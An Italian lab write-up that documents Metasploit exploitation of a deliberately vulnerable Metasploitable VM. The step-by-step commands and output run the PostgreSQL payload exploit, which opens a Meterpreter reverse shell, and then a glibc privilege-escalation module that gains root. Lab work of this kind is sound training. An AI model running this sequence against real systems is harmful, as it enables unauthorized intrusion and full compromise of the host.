

# S7/L3

## 1) IP Metasploit

```
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 92:91:5d:33:77:df brd ff:ff:ff:ff:ff:ff
    inet 192.168.20.10/24 brd 192.168.20.255 scope global eth0
        inet6 fdd6:cbc0:b164:afaa:9091:5dff:fe33:77df/64 scope global dynamic
            valid_lft 2591915sec preferred_lft 604715sec
    inet6 fe80::9091:5dff:fe33:77df/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

## 2) Avvio Msfconsole

```
(kali㉿kali2023)-[~]
$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib,
0/syslog.so was loaded from the standard library, but will no longer be part of
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into it

IIIIII      dTb.dTb
   II     4'  v  'B  .'''.'|''|.'-.
   II     6.    .P  :  .'/| \'.:.
II home 'T;..;P'  :  .'/| \'.:.
   II     'T; ;P'  :  .'/| \'.:.
IIIIII     'YvP'  :  ._.|_..|.

I love shells --egypt

      =[ metasploit v6.4.56-dev
+ -- --=[ 2394 exploits - 1234 auxiliary - 422 post
+ -- --=[ 1385 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion
]

PYTHON
Metasploit Documentation: https://docs.metasploit.com/
msf6 > [ ]
```

### 3) Ricerca Exploit

```
msf6 > search exploit/linux/postgres/postgres_payload

Matching Modules
=====
PYTHON
#  Name
-  --
0  exploit/linux/postgres/postgres_payload  2007-06-05   excellent  Yes   PostgreSQL for Linux Payload Execution
1  \_ target: Linux x86
2  \_ target: Linux x86_64

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'

msf6 > 
```

### 4) Configurazione e avvio Exploit

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.20.10
RHOST => 192.168.20.10
msf6 exploit(linux/postgres/postgres_payload) > exploit
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.20.20
LHOST => 192.168.20.20
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.20.20:4444
[*] 192.168.20.10:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/qYqKwMPr.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.20:4444 → 192.168.20.10:51840) at 2025-05-14 09:32:19 +0200

meterpreter > 
```

### 5) Post Exploit automatici falliti (ho usato la shell per esplorare manualmente dei possibili vettori) => Ho usato il 1° exploit => Set payload mettendo (x86) => option

```
66  exploit/multi/local/xorg_x11_suid_server_modulepath          No
The target is not exploitable.

[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
Name      Current Setting  Required  Description
--        --                --        --
SESSION           yes       yes      The session to run this module on
SUID_EXECUTABLE  /bin/ping    yes      Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
--        --                --        --
LHOST    192.168.20.20     yes      The listen address (an interface may be specified)
LPORT    4444               yes      The listen port

NESSUS

Exploit target:
Id  Name
--  --
0   Automatic
```

## 6) Poi impostato il set session 1 => poi set LPORT 4445 e non 4444 => exploit

```
payload ⇒ linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
Name          Current Setting  Required  Description
SESSION        yes            yes        The session to run this module on
SUID_EXECUTABLE /bin/ping    yes        Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
LHOST    192.168.20.20     yes        The listen address (an interface may be specified)
LPORT    4444              yes        The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session ⇒ 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set LPORT 4445
LPORT ⇒ 4445
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.20.20:4445
[+] The target appears to be vulnerable
```

## 7) Verifico l'esito => getuid => risultato siamo ROOT

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session ⇒ 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set LPORT 4445
LPORT ⇒ 4445
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.20.20:4445
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.l1g9TapDfy' (1271 bytes) ...
[*] Writing '/tmp/.7nArE' (296 bytes) ...
[*] Writing '/tmp/.8f6RFS6J0' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.20:4445 → 192.168.20.10:50592) at 2025-05-14 17
:34:30 +0200

meterpreter > getuid
Server username: root
meterpreter > █
```